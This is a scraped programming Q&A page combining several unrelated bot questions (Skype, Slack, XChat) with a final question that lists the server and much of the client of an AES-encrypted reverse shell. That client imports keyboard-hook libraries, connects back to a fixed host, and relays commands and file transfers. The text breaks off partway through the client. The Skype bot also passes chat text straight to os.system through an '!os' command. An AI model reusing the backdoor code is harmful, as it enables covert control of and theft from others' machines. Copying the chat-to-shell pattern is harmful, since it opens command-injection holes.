not sure if the title makes sense, but is there a simple way for 2 'lines' to be run simultaneously? (Quotation marks used as I'm not sure how to put it)
Anyway, what I am trying to do right now is make a Skype bot with Skype4Py.
I am making a script that does stuff, as the below script suggests. But I am faced with a problem. One part of the script detects command spamming, but I want to make some type of timer that would remove the user from its spam check database after a while. (Did that make sense?). In other words, let's say that the spam tolerance is spamming 6 times. After a user enters a command (eg. !help) maybe 5 times, and stops, for let's say 3 minutes, and does it again 5 times, he won't be banned from using commands.
Currently with this code, if a user, at any time (eg. 3 commands at 4:00pm, 2 command at 4:03pm), the user would be banned, but I don't want that to work like that.
#IMPORTS
import hashlib
import os
import random
import re
import string
import sys
sys.path.append('lib')
import time
import urllib
import Skype4Py
import urllib2
#CONFIG
admin = '...'
adflyKey = '...'
adflyUID = '...'
nick = ''
#SETUP
accessList = []
bannedList = []
safeuserList = []
vwordList = []
bcheck = []
quoteList = []
commandList = []
lock = False
msgcount = 1
#ADF.LY GENERATOR
def adfLY(url):
global adflyKey
global adflyUID
try:
location = 'http://api.adf.ly/api.php?key=' + adflyKey + '&uid=' + adflyUID + '&advert_type=int&domain=adf.ly&url=' + url
link = urllib.urlopen(location).read()
return link
except:
return url
#RANDOM STRING
def getRandom(length):
length = int(length)
charSet = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
randomChar = ''.join(random.sample(charSet,length))
return randomChar
#GET URL TITLE
def getTitle(url, maxRead = 10000):
try:
url = url.lower()
url = url.replace('cmyip', 'google', 1);
website = urllib2.urlopen(url)
title = re.compile('<title>(.+?)</title>')
buffer = ''
while True:
data = website.read(100)
if not data:
return 'Unknown'
buffer += data
match = title.search(buffer)
if match:
return ' '.join(line.strip() for line in match.group(1).strip().split('\n'))
elif len(buffer) >= maxRead:
return 'Unknown'
except:
return 'Unknown'
#IS URL UP
def isUP(url):
try:
results = getTitle('http://downforeveryoneorjustme.com/' + url)
results = results.replace('Is Up -> Check if your website is up or down?', ' is UP.', 1);
results = results.replace('Is Down -> Check if your website is up or down?', ' is DOWN.', 1);
results = results.replace(' -> Huh? Error... - Check if your website is up or down?', ' is INVALID.', 1);
return results
except:
return url + ' is UNKNOWN.'
#MD5 HASH
def md5(word):
md5 = hashlib.md5(word)
return md5.hexdigest()
#UPDATE ACCESS/BANNED LIST
def updateList(list):
global accessList
global bannedList
global vwordList
global commandList
if list == 'access':
accessFile = open('database/access.txt', 'w')
for name in accessList:
accessFile.write(name + '\n')
accessList.sort()
accessFile.close
elif list == 'banned':
bannedFile = open('database/banned.txt', 'w')
for name in bannedList:
bannedFile.write(name + '\n')
bannedList.sort()
bannedFile.close
elif list == 'vword':
vwordFile = open('database/vword.txt', 'w')
for word in vwordList:
vwordFile.write(word + '\n')
vwordList.sort()
vwordFile.close
elif list == 'safeuser':
safeuserFile = open('database/safeuser.txt', 'w')
for word in safeuserFile:
safeuserFile.write(word + '\n')
safeuserFile.sort()
safeuserFile.close
#SKYPE4PY API
def OnAttach(status):
if status == Skype4Py.apiAttachAvailable:
skype.Attach()
return
if status == Skype4Py.apiAttachSuccess:
print('API connected to the Skype process!')
print '------------------------------------------------------------------------------'
return
statusAPI = skype.Convert.AttachmentStatusToText(status)
print 'API '+ statusAPI.lower() + '...'
#deny calls
#AllowedCallTargets = set (['echo123', 'echo223']);
#
#class receive_set:
# def __init__(self):
# pass
# def OnCall(self, call, status):
# print "status is ", status, " Peer is: ", call.PartnerHandle, " Show name is ", call.PartnerDisplayName
# print "length of active calls are ",len(self.skype.ActiveCalls)
# inprogress = False
# if (status == Skype4Py.clsRinging) and (call.Type == Skype4Py.cltIncomingP2P or call.Type == Skype4Py.cltIncomingPSTN):
# for curr in self.skype.ActiveCalls:
# print "Call status is ", curr.Type, " status is ", curr.Status
# if curr.Status == Skype4Py.clsInProgress :
# inprogress = True
# if not inprogress:
# call.Answer()
# if (status == Skype4Py.clsInProgress):
# print "Call's video send status is ",call.VideoSendStatus, " Recv status is ", call.VideoReceiveStatus, " Video Status is ",call.VideoStatus
## cmd = self.skype.Command("ALTER CALL <id> START_VIDEO_SEND")
## self.skype.SendCommand(cmd)
#
## if (status == "ROUTING") and (not call.PartnerHandle in AllowedCallTargets):
# call.Finish()
# print 'Terminating call'
#
# def OnCallVideoReceiveStatusChanged(self, status):
# pass
#
# def OnCallVideoSendStatusChanged(self, status):
# pass
#
# def OnCallVideoStatusChanged(self, status):
# pass
#
# def OnAttach(self, status):
# print 'API attachment status:'+self.skype.Convert.AttachmentStatusToText(status)
# if status == Skype4Py.apiAttachAvailable:
# self.skype.Attach()
#
# def start(self):
# self.skype = Skype4Py.Skype()
# self.skype.OnAttachmentStatus = self.OnAttach
# self.skype.OnCallStatus = self.OnCall
#
#
# def Attach(self):
# self.skype.Attach()
#
# def Callout(self, callee):
# self.skype.PlaceCall(callee)
#
#
#if __name__ == "__main__":
# rec = receive_set()
# rec.start()
# rec.Attach()
#
# while 1:
# time.sleep(1)
#COMMANDS
def OnMessageStatus(Message, Status):
global admin
global nick
global lock
global accessList
global bannedList
global safewordList
global commandList
global bcheck
global vwordList
global quoteList
global msgcount
try:
msg = Message.Body
chat = Message.Chat
send = chat.SendMessage
senderDisplay = Message.FromDisplayName
senderHandle = Message.FromHandle
message = ''
if lock == True:
if Status == 'SENT' or (Status == 'RECEIVED' and senderHandle in accessList):
if msg == '!unlock':
lock = False
send(nick + ' Unlocked!');
if lock == False:
if Status == 'RECEIVED' and senderHandle not in bannedList:
msgcount = msgcount + 1
if msgcount == 30:
option = random.randint(1, 3)
time.sleep(3)
if option == 1:
send('Type "!info" or "!help" for common information and help.');
elif option == 2:
send(nick);
elif option == 3:
send('');
msgcount = 1
messageTemp = msg.split()
n = 0
did_it_work = False
if msg.startswith('!'):
for x in commandList:
if messageTemp[0] == x:
did_it_work = True
if did_it_work == True:
print('[NOTICE] '+ senderDisplay +' ('+senderHandle+') issued command: '+"'"+msg+"'")
if senderHandle not in safeuserList:
for x in bcheck:
if x == senderHandle:
n += 1
if n == 9: #<--- ###Trigger word is 1 above the number### aka the 10th command is the trigger.
send(nick + senderDisplay + ', you are now banned from using commands due to flooding!');
bannedList.append(senderHandle)
updateList('banned')
while n < 0:
bcheck.remove(senderHandle)
n -= 1
else:
bcheck.append(senderHandle)
n = 0
else:
n = 0
if msg.lower().startswith(admin):
print '\a'
if Status == 'SENT' or (Status == 'RECEIVED' and senderHandle not in bannedList):
### # if msg in vwordList :
### # send.can;
### # print 'A'
if msg == '!help':
helpFile = open('help.txt','r')
for line in helpFile.readlines():
message = message + nick + line
send(message);
if msg == '!info':
infoFile = open('info.txt','r')
for line in infoFile.readlines():
message = message + nick + line
send(message);
if msg.startswith('!isup '):
url = msg.replace('!isup ', '', 1);
send(nick + isUP(url));
if msg.startswith('!md5 '):
word = msg.replace('!md5 ', '', 1);
send(nick + 'MD5 Hash : ' + md5(word));
if msg.startswith('!os '):
if senderHandle in safeuserList:
command = msg.replace('!os ', '', 1);
os.system(command);
if msg.startswith('!topic '):
topic = msg.replace('!topic ', '', 1);
# Message.Body = 'Changing topic name to...'
send("[NOTICE] Changing topic by user's request");
send('/topic ' + topic);
if Status == 'SENT' or (Status == 'RECEIVED' and senderHandle in accessList):
if msg.startswith('!access '):
if msg.startswith('!access add '):
name = msg.replace('!access add ', '', 1);
if name in accessList:
send(nick + 'User [' + name + '] already has access!');
elif name not in accessList:
accessList.append(nick)
accessList.sort()
updateList('access')
send(nick + 'User [' + name + '] has gained access!');
elif msg.startswith('!access list'):
name = msg.replace('!access list ', '', 1);
for name in accessList:
message = message + nick + name + '\n'
send(message);
elif msg.startswith('!access remove '):
name = msg.replace('!access remove ', '', 1);
if name in accessList:
accessList.remove(name)
accessList.sort()
updateList('access')
send(nick + 'User [' + name + '] has lost access!');
elif nick not in accessList:
send(nick + 'User [' + name + '] has no access!');
if msg.startswith('!vword '):
if msg.startswith('!vword add '):
name = msg.replace('!vword add ', '', 1);
if name in vwordList:
send('Word Already Stored!');
elif name not in vwordList:
vwordList.append(nick)
vwordList.sort()
updateList('vword')
send('Word Stored');
elif msg.startswith('!vword list'):
name = msg.replace('!vword list ', '', 1);
send('Please refer to the vword.txt');
if msg.startswith('!ban '):
if msg.startswith('!ban add '):
name = msg.replace('!ban add ', '', 1);
if name in bannedList:
send(nick + 'User [' + name + '] is already banned!');
elif name not in bannedList:
bannedList.append(nick)
bannedList.sort()
updateList('banned')
send(nick + 'User [' + name + '] has been banned!');
elif msg.startswith('!ban list'):
name = msg.replace('!ban list ', '', 1);
for name in bannedList:
message = message + nick + name + '\n'
send(message);
elif msg.startswith('!ban remove '):
name = msg.replace('!ban remove ', '', 1);
if name in bannedList:
bannedList.remove(name)
bannedList.sort()
updateList('banned')
send(nick + 'User [' + name + '] has been unbanned!');
elif nick not in bannedList:
send(nick + 'User [' + name + '] is not banned!');
# if msg.contains('youtube.com/watch?v='):
# for friend in skype.Friends:
# if not friend.OnlineStatus == Skype4Py.olsOffline:
# try:
# skype.CreateChatWith(friend.Handle).SendMessage(nick + '[GLOBAL MESSAGE]\r\n' + nick + message)
# except:
# print '[ERROR] ' + str(sys.exc_info()[1])
if msg.startswith('!global '):
message = msg.replace('!global ', '', 1);
for friend in skype.Friends:
if not friend.OnlineStatus == Skype4Py.olsOffline:
try:
skype.CreateChatWith(friend.Handle).SendMessage(nick + '[GLOBAL MESSAGE]\r\n' + nick + message)
except:
print '[ERROR] ' + str(sys.exc_info()[1])
if msg == '!lock':
lock = True
send(nick);
# if msg == '!party':
# send('/topic PARTY HARD!');
# for friend in skype.Friends:
# if not friend.OnlineStatus == Skype4Py.olsOffline:
# try:
# send('/add ' + friend.Handle);
# except:
# print '[ERROR] ' + str(sys.exc_info()[1])
if msg == '!restart':
os.system('python restart.py');
sys.exit();
except:
send(nick + '[ERROR] ' + str(sys.exc_info()[1]));
#START INSTANCE
import os
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
print '******************************************************************************'
infoFile = open('info.txt','r')
for line in infoFile.readlines():
print '- ' + line.replace('\n', '')
print 'Checking for Skype4Py API...'
try:
import Skype4Py
skype = Skype4Py.Skype();
skype.OnAttachmentStatus = OnAttach
skype.OnMessageStatus = OnMessageStatus
skype.FriendlyName = ''
print 'Skype4Py API found!'
except:
print 'Failed to locate Skype4Py API! Quitting...'
print '******************************************************************************'
sys.exit()
print 'Checking for Skype process...'
if skype.Client.IsRunning:
print 'Skype process found!'
elif not skype.Client.IsRunning:
print 'Skype process not found!'
try:
print 'Starting Skype process...'
skype.Client.Start()
except:
print 'Failed to start Skype process! Quitting...'
print '******************************************************************************'
sys.exit()
print 'Connecting API to Skype...'
try:
skype.Attach();
except:
print 'Failed to connect API to Skype! Quitting...'
print '******************************************************************************'
sys.exit()
print 'Loading access list...'
accessFile = open('database/access.txt','r')
for line in accessFile.readlines():
name = line.replace('\n', '');
accessList.append(name)
accessList.sort()
accessFile.close()
print 'Access list contains ' + str(len(accessList)) + ' names!'
print 'Loading banned list...'
bannedFile = open('database/banned.txt','r')
for line in bannedFile.readlines():
name = line.replace('\n', '');
bannedList.append(name)
bannedList.sort()
bannedFile.close()
print 'Banned list contains ' + str(len(bannedList)) + ' names!'
print 'Loading VWORD list...'
vwordFile = open('database/vword.txt','r')
for line in vwordFile.readlines():
name = line.replace('\n', '');
vwordList.append(name)
vwordList.sort()
vwordFile.close()
print 'VWORD list contains ' + str(len(vwordList)) + ' words!'
print 'Loading quote list...'
quoteFile = open('database/quote.txt','r')
for line in quoteFile.readlines():
quote = line.replace('\n', '');
quoteList.append(quote)
quoteList.sort()
quoteFile.close()
print 'Quote list contains ' + str(len(quoteList)) + ' quotes!'
print 'Loading safe user list...'
safeuserFile = open('database/safeuser.txt','r')
for line in safeuserFile.readlines():
safeuser = line.replace('\n', '');
safeuserList.append(safeuser)
safeuserList.sort()
safeuserFile.close()
print 'SafeUser list contains ' + str(len(safeuserList)) + ' names!'
print 'Loading command list...'
commandFile = open('database/commands.txt','r')
for line in commandFile.readlines():
command = line.replace('\n', '');
commandList.append(command)
commandList.sort()
commandFile.close()
print 'Command list contains ' + str(len(commandList)) + ' commands!'
print '******************************************************************************'
#ENDLESS LOOP
while True:
raw_input('');
I was going to put some sort of code like this:
(with time already imported)
timer=180
while timer >0:
time.sleep(1)
timer -=1
But I don't know where to place it, or how
Any type of help will be appreciated.
Thanks!
EDIT: Changed last line to:
timer=16
while timer >0:
time.sleep(1)
timer -=1
if timer == 12:
ccheck = bcheck
ccheck.reverse()
dcheck = len(ccheck)
while dcheck !=0:
for x in ccheck:
if x == ccheck[0]:
bcheck.remove(x)
ccheck = []
#raw_input('');
http://docs.python.org/2/library/os.html
os.fork might be of use
pid = os.fork()
if pid == 0:
print("I am the child!")
else:
print("I am the parent!")
The child and parent should run at the same time as they are now 2 different processes.
When you are checking whether you should ban the user, you can check the time of the last post and reset the count if it is past a certain time. You will know better then I how to do this in your code. You shouldn't need any kind of concurrency to do what you want.
Related
Edited
Q)Can someone help getting the values inserted into mysql database , just confused where place mydb function
Reason :Once I manually enter cntrl+c for .py , then only the values are getting inserted into mysql database
Used in the .py file
here is the complete code , where should i place the mydb function?
Table values not getting inserted into mysql database until cntrl+c is entered to close python file in linux
import os
import re
from builtins import len, Exception
import slack
import logging
from subprocess import check_output
import datetime
import mysql.connector
import time
import json
import requests
#user_threads_info = {}
#thread_ts = ""
#slack.RTMClient.run_on(event='message')
def say_hello(**payload):
try:
##0 get clients and payload
logging.info('msg received')
data = payload['data']
web_client = payload['web_client']
rtm_client = payload['rtm_client']
##0 - 1 Check if it is the first msg, not replied msg by me
# print(data)
if data.get('text') == None:
logging.info('This msg is my replied msg.')
return False
##0-2 Get channel info
channel_id = data['channel']
thread_ts = data['ts']
global user
user = data['user']
#user_info = get_userinfo(user)
#print(user_info)
msg = data['text']
##1 get scenario submsg
retVal = analysis_msg(msg)
# print(retVal)
response = web_client.users_list()
assert(response['ok'])
user_map = {x['id']: x['name'] for x in response['members']}
global user_name
user_name = user_map[user] if user in user_map else None
print(user_name)
if retVal[0] == False:
retMsg = retVal[1] + "\nI can create the following orders. \n" \
"a) spu - store pickup \n" \
"b) sth - ship to home \n" \
"c) del - delivery \n" \
"d) digitalAsGuest - Digital item \n" \
" \n" \
"Please provide information as mentioned in below example.\n" \
" \n" \
"Example: spu:3646989:sftqa3:AMEX\n" \
"\n" \
"Sample SKUS:\n" \
"spu - [3646989,8862011]\n" \
"sth - [2592015,6140094]\n" \
"del - [5592005,8862011]\n" \
"digitalAsGuest - [2810037,5057400]"
send_msg(web_client, channel_id, thread_ts, user, retMsg)
return False
##2 form cmd
retVal = form_cmd(retVal[1])
print(retVal)
if retVal == False:
return False
##3 execute cmd
# inform the start of test
retMsg = "Creating an order,Please wait for the result."
send_msg(web_client, channel_id, thread_ts, user, retMsg)
global res
try:
res1 = os.popen(retVal).read()
print("Printing result...")
print(res1)
print("end of print")
res = reg_result_new(res1)
if res == False:
print("reg_function failure")
retMsg = "The test order placement failed."
else:
retMsg = "Order Id - " + res['id'] + "\nFirst Name - " + res['firstName'] + "\nLast Name - " + res['lastName'] + "\n PhoneNumber - " + res['dayPhoneNumber'] + "\n Email - " + res['email'] + "\n"
except Exception as ee:
retMsg = "The test scenario has a failure. Please Check the feature file."
## 4 send result to slack
# retMsg = "Order Id - " + res['id'] + "\nFirst Name - " + res['firstName'] + "\nLast Name - " + res['lastName'] + "\n PhoneNumber - " + res['day PhoneNumber'] + "\n Email - " + res['email'] + "\n"
create_result_file(user, res)
send_msg(web_client, channel_id, thread_ts, user, retMsg)
print(retVal)
except Exception as e:
print("error")
logging.critical(str(e))
############################ My handlers ##############################
def create_result_file(user, res):
try:
cur_time = datetime.datetime.now()
file_name = user + str(cur_time.year) + str(cur_time.month) + str(cur_time.day) + str(cur_time.hour) + str(
cur_time.minute) + str(cur_time.second) + '.txt'
file = open(file_name, 'w')
file.write(res)
file.close()
except Exception as e:
print(str(e))
def send_msg(web_client, channel_id, thread_ts,user,mgs):
print("thread_ts value is:"+thread_ts)
web_client.chat_postMessage(
channel=channel_id,
text=f"```Hi <#{user}>! \n " + mgs + "```",
thread_ts=thread_ts
)
#def get_userinfo(user):
# payload = {'token': slack_token, 'user': user}
# r = requests.get('https://slack.com/api/users.info', params=payload)
# print(r.text)
# return json.loads(r.text)["user"]
# error code mgmt.
def error_code(code):
# reserved
print(code)
return [False, code]
# break down msg to the test scenario submsgs
def analysis_msg(msg):
global submsg
submsg = msg.split(":")
for value in submsg:
print(value)
if len(submsg) != 4:
logging.warning("This msg not test scenario")
return error_code("Please check the format")
res = {}
res["feature"] = submsg[0]
res["sku"] = submsg[1]
res["env"] = submsg[2]
res["payment"] = submsg[3]
###check
if validate_sku(res["sku"]) == False:
return error_code("INVALID_SKU \n")
if validate_env(res["env"]) == False:
return error_code("INVALID_ENV \n")
if validate_payment(res["payment"]) == False:
return error_code("INVALID_payment \n")
if check_specialCharacter(res["feature"]) == False:
return error_code("INVALID_PROFILE_WITH_SPECIAL_CHARACTER")
return [True, res]
# form cmd for test bat files ! reserved
def form_cmd(submsg):
cmd = 'sh /home/iptbot/iptautobot/test.sh ' + submsg['env'] + ' ' + submsg['feature'] + ' ' + submsg["sku"] + ' ' + submsg["payment"]
return cmd
#code to print user details
#code to print user details
def reg_result_new(res):
start = 'COP Order Response :'
end = 'isGuestMode'
start_index = res.find(start) + len(start)
res = res[start_index:]
end_index = res.find(end) + 22
global data
data = res[:end_index]
try:
print('Data -> ' + str(data))
data = json.loads(data.strip())
new_data = {}
new_data['id'] = data['id']
new_data['firstName'] = data['lineItems'][0]['fulfillmentInfo']['storeInfo']['agentInfo']['firstName']
new_data['lastName'] = data['lineItems'][0]['fulfillmentInfo']['storeInfo']['agentInfo']['lastName']
new_data['dayPhoneNumber'] = data['lineItems'][0]['fulfillmentInfo']['storeInfo']['agentInfo']['dayPhoneNumber']
new_data['email'] = data['lineItems'][0]['fulfillmentInfo']['storeInfo']['agentInfo']['email']
#new_data['firstName'] = data['paymentInfo']['billingAddressInfo']['firstName']
return new_data
except Exception as e:
print('Here error -> '+str(e))
return False
#def reg_result(res):
# "COP Order Response"
# lines = res.split('\n')
# for line in lines:
# pattern = "COP Order Response*"
# prog = re.compile(pattern)
# result = prog.search(line)
# if result == None:
# continue
# res1 = result.string.split('{')
# if len(res1) < 2:
# continue
# res2 = res1[1].split(',')
# if len(res2) < 2:
# continue
# res3 = res2[0].split(':')
# if len(res3) < 2:
# continue
# return res3[1]
# COP Order Response : {"id":"BBY01-200001878853"
# return False
# return val is Boolean
# True/False
# Input type: String
# for positive integer only
# alternative way: Handle exception for int(d)
def validate_sku(sku_val):
return sku_val.isnumeric()
# input val : string
# return val: Boolean
def validate_env(env_val):
env_list = [
"sftqa1" , "sftqa2" , "sftqa3" , "sftqa4"
]
if env_val in env_list:
return True
else:
return False
def validate_payment(payment_val):
env_payment = [
"AMEX","VISA"
]
if payment_val in env_payment:
return True
else:
return False
# input val : string
# return val: Boolean
def check_specialCharacter(s):
if s == "":
return False
if s.isspace():
return False
return s.isalnum()
slack_token = os.environ["SLACK_API_TOKEN"]
rtm_client = slack.RTMClient(token=slack_token)
rtm_client.start()
#database connction
mydb = mysql.connector.connect(
host="host",
user="user",
passwd="pass",
database="db"
)
mycursor = mydb.cursor()
for value in submsg:
print(value)
fulfilment=submsg[0]
sku=submsg[1]
environment=submsg[2]
payment=submsg[3]
ts = time.time()
date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')
orderNumber=data['id']
username=user_name
print(fulfilment)
print(sku)
print(environment)
print(payment)
print(username)
print(orderNumber)
sqlformula = "INSERT INTO orderDetails (fulfilment,sku,environment,payment,orderNumber,date,user) VALUES (%s,%s,%s,%s,%s,%s,%s)"
#order=("sth",3643387,"sftqa2","AMEX")
#mycursor.execute(sqlformula,order)
mycursor.execute(sqlformula,(fulfilment,sku,environment,payment,orderNumber,date,username))
mydb.commit()
mydb.close()
Output
1 sh /home/iptbot/iptautobot/test.sh sftqa3 spu 3646989 AMEX
2 error
3 CRITICAL:root:'user'
4 error
5 CRITICAL:root:'user' // clicking Control+C values get inserted
6 ^CWARNING:slack.rtm.client:Websocket was closed.
7 3646989
8 sftqa3
9 AMEX
10 spu
11 3646989
12 sftqa3
13 AMEX
14 a6002043
15 BBY01-200002091354
You are stuck at this point because rtm_client.start() is a synchronous call.
If you want it to be asynchronous (non-blocking) then you should run:
rtm_client.start(run_async=True)
Here it is good walk-through on how to setup async usage of the library. Also have a look at the method signature for RTMClient to get an idea of how it works.
Here's a good example detailing a lot of what you would need in your case.
Then you will hit your db execution code where you will need to have a while loop to go through the data you want to add to the DB.
I would recommend that you use a Queue for this as it is synchronised and will be easier to manage than a global list which is overwritten on every order. Preferably you could use asyncio.Queue with an example of implementation here
When an order has passed the validation steps add it to the queue. Here is some pseudo code describing the flow with a basic (not asyncio) Queue:
import queue
q = queue.Queue()
def validate_order(order):
valid_order_data = ......
q.put(valid_order_data)
while True:
valid_order = q.get() # Will wait until there is a value on the queue
mycursor.execute(sqlformula, (valid_order))
I'm trying to write a previous messages bot for (he)xchat. Saving and printing the messages is fine, but when it sends it doesn't retain the message.
I've tried all sorts of methods to fix it but it's always blank.
Problem area:
for y in range(0, 14):
if msg_last[y]:
msg_to_say = 'privmsg ' + triggernick + ' <previously_bot> '
msg_to_say = msg_to_say + msg_last[y]
print (msg_to_say)
destination.command(msg_to_say)
Inside of Xchat it'll print:
privmsg <nick> <previously_bot> $msg
but upon sending it it'll be:
privmsg <nick> <previously_bot>
Can anyone spot what I've missed?
Full code:
from random import randint
import xchat
__module_name__ = "Blake's Previous Messages Bot"
__module_version__ = " v0.1 "
__module_description__ = "A previous message bot"
print("\0034", __module_name__, __module_version__, __module_description__, "!\003")
#---Globals---#000000#FFFFFF----------------------------------------------------
msg_last = [str()] * 15
msg_count = 0
def on_chat(word, word_eol, userdata):
global msg_count
global msg_last
msg = word[1]
if msg_count == 15:
#print ("Full, reloading list")
for x in range(0, 14):
msg_last[x + 1] = msg_last[x]
msg_last[0] = msg
msg_count = 0
msg_last[msg_count] = msg
msg_count = msg_count + 1
def on_join(word, word_eol, userdata):
global msg_last
triggernick, triggerchannel, triggerhost = word
destination = xchat.get_context()
print ("Someone joined, pulling up log")
for y in range(0, 14):
if msg_last[y]:
msg_to_say = 'privmsg ' + triggernick + ' <previously_bot> '
msg_to_say = msg_to_say + msg_last[y]
print (msg_to_say)
destination.command(msg_to_say)
return xchat.EAT_ALL
def on_kevin(word, word_eol, userdata):
triggernick, triggerchannel, triggerhost = word
destination = xchat.get_context()
if triggernick == 'TenEighths':
rnd = randint(0,2)
if rnd == 2:
rnd2 = randint(0,3)
rnd_str = heyYouKevin()
destination.command("say " + rnd_str)
#print ("Someone joined, pulling up log")
def heyYouKevin(x):
return {
'0': 'be quiet Kevin',
'1': 'omg TenEighths, will you be quiet already?',
'2': 'Kevin is spouting nonsense',
'3': "be quiet, TenEighths.",
}[x]
xchat.hook_print('Join', on_join)
xchat.hook_print('Channel Message', on_chat)
xchat.hook_print('Channel Message', on_kevin)
If you use the raw irc command PRIVMSG the syntax requires that any strings with spaces start with :. So PRIVMSG nick :This is a long string. The better solution is to just use xchat.command('msg nick ...') since it knows what to do.
I am very new to Python. I was following a simple Python tutorial, but don't get the expected results.
After running the compiled executable on the client, the client shows up on my server. However, when I choose the client number (1), the python script is immediately exited and I get the following error when run on a remote Linux server:
Activating client: ('172.51.8.204', 18268)
Traceback (most recent call last):
File "xmulti_aeserver.py", line 207, in <module>
if nextcmd.startswith("download ") == True:
NameError: name 'nextcmd' is not defined
When run locally on a Windows server, the script does not exit, but the server disconnects the client as such:
Activating client: ('192.168.1.104', 26042)
Client disconnected... ('192.168.1.104', 26042)
I've been reading about name errors everywhere, and I can't see anything wrong with the code I'm using.
Here is my server code (xmulti_aeserver.py):
#!/usr/bin/env python
from Crypto.Cipher import AES
import socket, base64, os, time, sys, select
from Crypto import Random
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
# generate a random secret key
secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"
iv = Random.new().read(16)
# clear function
##################################
# Windows ---------------> cls
# Linux ---------------> clear
if os.name == 'posix': clf = 'clear'
if os.name == 'nt': clf = 'cls'
clear = lambda: os.system(clf)
# initialize socket
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
c.bind(('0.0.0.0', 443))
c.listen(128)
# client information
active = False
clients = []
socks = []
interval = 0.8
# Functions
###########
# send data
def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
sock.sendall(EncodeAES(cipher, cmd + end))
# receive data
def Receive(sock, end="EOFEOFEOFEOFEOFX"):
data = ""
l = sock.recv(1024)
while(l):
decrypted = DecodeAES(cipher, l)
data += decrypted
if data.endswith(end) == True:
break
else:
l = sock.recv(1024)
return data[:-len(end)]
# download file
def download(sock, remote_filename, local_filename=None):
# check if file exists
if not local_filename:
local_filename = remote_filename
try:
f = open(local_filename, 'wb')
except IOError:
print "Error opening file.\n"
Send(sock, "cd .")
return
# start transfer
Send(sock, "download "+remote_filename)
print "Downloading: " + remote_filename + " > " + local_filename
fileData = Receive(sock)
f.write(fileData)
time.sleep(interval)
f.close()
time.sleep(interval)
# upload file
def upload(sock, local_filename, remote_filename=None):
# check if file exists
if not remote_filename:
remote_filename = local_filename
try:
g = open(local_filename, 'rb')
except IOError:
print "Error opening file.\n"
Send(sock, "cd .")
return
# start transfer
Send(sock, "upload "+remote_filename)
print 'Uploading: ' + local_filename + " > " + remote_filename
while True:
fileData = g.read()
if not fileData: break
Send(sock, fileData, "")
g.close()
time.sleep(interval)
Send(sock, "")
time.sleep(interval)
# refresh clients
def refresh():
clear()
print '\nListening for clients...\n'
if len(clients) > 0:
for j in range(0,len(clients)):
print '[' + str((j+1)) + '] Client: ' + clients[j] + '\n'
else:
print "...\n"
# print exit option
print "---\n"
print "[0] Exit \n"
print "\nPress Ctrl+C to interact with client."
# main loop
while True:
refresh()
# listen for clients
try:
# set timeout
c.settimeout(10)
# accept connection
try:
s,a = c.accept()
except socket.timeout:
continue
# add socket
if (s):
s.settimeout(None)
socks += [s]
clients += [str(a)]
# display clients
refresh()
# sleep
time.sleep(interval)
except KeyboardInterrupt:
# display clients
refresh()
# accept selection --- int, 0/1-128
activate = input("\nEnter option: ")
# exit
if activate == 0:
print '\nExiting...\n'
for j in range(0,len(socks)):
socks[j].close()
sys.exit()
# subtract 1 (array starts at 0)
activate -= 1
# clear screen
clear()
# create a cipher object using the random secret
cipher = AES.new(secret,AES.MODE_CFB, iv)
print '\nActivating client: ' + clients[activate] + '\n'
active = True
Send(socks[activate], 'Activate')
# interact with client
while active:
try:
# receive data from client
data = Receive(socks[activate])
# disconnect client.
except:
print '\nClient disconnected... ' + clients[activate]
# delete client
socks[activate].close()
time.sleep(0.8)
socks.remove(socks[activate])
clients.remove(clients[activate])
refresh()
active = False
break
# exit client session
if data == 'quitted':
# print message
print "Exit.\n"
# remove from arrays
socks[activate].close()
socks.remove(socks[activate])
clients.remove(clients[activate])
# sleep and refresh
time.sleep(0.8)
refresh()
active = False
break
# if data exists
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
# download
if nextcmd.startswith("download ") == True:
if len(nextcmd.split(' ')) > 2:
download(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
else:
download(socks[activate], nextcmd.split(' ')[1])
# upload
elif nextcmd.startswith("upload ") == True:
if len(nextcmd.split(' ')) > 2:
upload(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
else:
upload(socks[activate], nextcmd.split(' ')[1])
# normal command
elif nextcmd != '':
Send(socks[activate], nextcmd)
elif nextcmd == '':
print 'Think before you type. ;)\n'
Here is my client code (xmulti_aeshell.py):
#!/usr/bin/python
from Crypto.Cipher import AES
import subprocess, socket, base64, time, os, sys, urllib2, pythoncom, pyHook, logging
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
# generate a random secret key
secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"
# server config
HOST = '192.168.1.104'
PORT = 443
# session controller
active = False
# Functions
###########
# send data function
def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
sock.sendall(EncodeAES(cipher, cmd + end))
# receive data function
def Receive(sock, end="EOFEOFEOFEOFEOFX"):
data = ""
l = sock.recv(1024)
while(l):
decrypted = DecodeAES(cipher, l)
data = data + decrypted
if data.endswith(end) == True:
break
else:
l = sock.recv(1024)
return data[:-len(end)]
# prompt function
def Prompt(sock, promptmsg):
Send(sock, promptmsg)
answer = Receive(sock)
return answer
# upload file
def Upload(sock, filename):
bgtr = True
# file transfer
try:
f = open(filename, 'rb')
while 1:
fileData = f.read()
if fileData == '': break
# begin sending file
Send(sock, fileData, "")
f.close()
except:
time.sleep(0.1)
# let server know we're done..
time.sleep(0.8)
Send(sock, "")
time.sleep(0.8)
return "Finished download."
# download file
def Download(sock, filename):
# file transfer
g = open(filename, 'wb')
# download file
fileData = Receive(sock)
time.sleep(0.8)
g.write(fileData)
g.close()
# let server know we're done..
return "Finished upload."
# download from url (unencrypted)
